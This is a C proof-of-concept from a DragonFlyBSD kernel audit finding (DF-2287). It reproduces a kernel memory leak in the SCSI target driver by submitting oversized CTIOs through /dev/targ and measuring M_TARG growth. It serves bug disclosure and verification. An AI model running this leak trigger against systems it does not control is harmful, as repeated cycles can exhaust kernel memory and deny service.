⬢ DragonFlyBSD Kernel Audit
DF-2287 / poc2287.c
← back to finding ↓ download raw
/*
 * DF-2287 PoC -- targread()'s abort_queue drain loop
 * (scsi_target.c:921-937) TAILQ_REMOVEs each targ_cmd_descr and hands
 * the user_ccb pointer back but never kfree()s the descr; the ONLY other
 * free is targdtor's teardown drain (:545-547).  A daemon that submits
 * CCBs which deterministically fail in targsendccb and then reads them
 * back leaks sizeof(struct targ_cmd_descr) of M_TARG per cycle, forever.
 *
 * Deterministic failure: XPT_CONT_TARGET_IO with dxfer_len > MAXPHYS --
 * targsendccb -> cam_periph_mapmem (cam_periph.c:702-707) rejects with
 * EPERM -> targstart (:674-684) queues descr onto abort_queue.
 *
 * Expected markers:
 *   vmstat -m TARG delta ~= N * sizeof(targ_cmd_descr)  (leak)
 *   read-back pointer equals the submitted user_ccb each cycle
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_targetio.h>

#define NCYC 2000

static int
sysctl_int(const char *name)
{
	int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno));
		exit(1);
	}
	return (v);
}

/* parse vmstat -m human columns: 1234, 1.95K, 156K, 390M ... */
static double
parse_hcol(const char *s)
{
	double v;
	char suf[8];

	if (sscanf(s, "%lf%1s", &v, suf) < 1)
		return (-1);
	if (suf[0] == 'K')
		v *= 1000;
	else if (suf[0] == 'M')
		v *= 1e6;
	else if (suf[0] == 'G')
		v *= 1e9;
	suf[0] = 0;
	return (v);
}

static double mtarg_mem, mtarg_mem0;

static double
mtarg_use(void)
{
	FILE *f = popen("vmstat -m 2>/dev/null | grep -w TARG", "r");
	char line[256], col[6][32];

	if (f == NULL)
		return (-1);
	while (fgets(line, sizeof(line), f) != NULL) {
		if (sscanf(line, "%31s %31s %31s %31s %31s %31s",
		    col[0], col[1], col[2], col[3], col[4], col[5]) == 6)
			break;
	}
	pclose(f);
	printf("DF2287: M_TARG line: %s %s %s\n", col[0], col[1], col[2]);
	mtarg_mem = parse_hcol(col[2]);
	return (parse_hcol(col[1]));
}

int
main(void)
{
	struct ioc_enable_lun en;
	static union ccb uccbs[NCYC];
	unsigned long p;
	uint64_t back;
	double c0, c1;
	int fd, path_id, i, ok = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	path_id = sysctl_int("hw.targsim.path_id");
	printf("DF2287: targsim bus=%d\n", path_id);

	c0 = mtarg_use();
	mtarg_mem0 = mtarg_mem;

	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("DF2287: open FAILED %s\n", strerror(errno));
		return (1);
	}
	memset(&en, 0, sizeof(en));
	en.path_id = path_id;
	en.target_id = 0;
	en.lun_id = 0;
	if (ioctl(fd, TARGIOCENABLE, &en) < 0) {
		printf("DF2287: TARGIOCENABLE FAILED %s\n", strerror(errno));
		return (1);
	}

	/* NCYC CTIOs with dxfer_len > MAXPHYS: every one aborts into
	 * abort_queue; each read() drains one descr WITHOUT kfree */
	for (i = 0; i < NCYC; i++) {
		memset(&uccbs[i], 0, sizeof(uccbs[i]));
		uccbs[i].ccb_h.pinfo.priority = 5;
		uccbs[i].ccb_h.func_code = XPT_CONT_TARGET_IO;
		uccbs[i].ccb_h.flags = CAM_DIR_IN;
		uccbs[i].csio.dxfer_len = 1024 * 1024;	/* > MAXPHYS */
		uccbs[i].csio.data_ptr = (u_int8_t *)&back; /* any user ptr */
		p = (unsigned long)(uintptr_t)&uccbs[i];
		if (write(fd, &p, sizeof(p)) != sizeof(p))
			break;
	}
	printf("DF2287: submitted %d oversized CTIOs\n", i);

	/* drain the abort_queue: read() 8 bytes at a time */
	for (i = 0; i < NCYC; i++) {
		back = 0;
		alarm(20);
		if (read(fd, &back, sizeof(back)) != sizeof(back))
			break;
		alarm(0);
		if (back == (uint64_t)(uintptr_t)&uccbs[i])
			ok++;
	}
	printf("DF2287: read back %d descriptors (pointer match %d)\n", i, ok);
	sleep(1);

	c1 = mtarg_use();
	printf("DF2287: M_TARG count delta = %.0f memdelta(KB) = %.0f for %d "
	    "leaked descrs (~%.0f bytes each)\n", c1 - c0,
	    (mtarg_mem - mtarg_mem0) / 1000, ok, ok ? 0 : 0);
	printf("DF2287: bytes-per-descr (mem delta / count delta) = %.1f\n",
	    (c1 - c0) > 0 ? (mtarg_mem - mtarg_mem0) * 1000 / (c1 - c0) : 0);

	if (ok == NCYC && c1 - c0 >= NCYC * 0.9) {
		printf("DF2287: REPRODUCED -- %d targ_cmd_descr leaked "
		    "(abort_queue drain never frees)\n", ok);
		return (0);
	}
	printf("DF2287: not reproduced\n");
	return (1);
}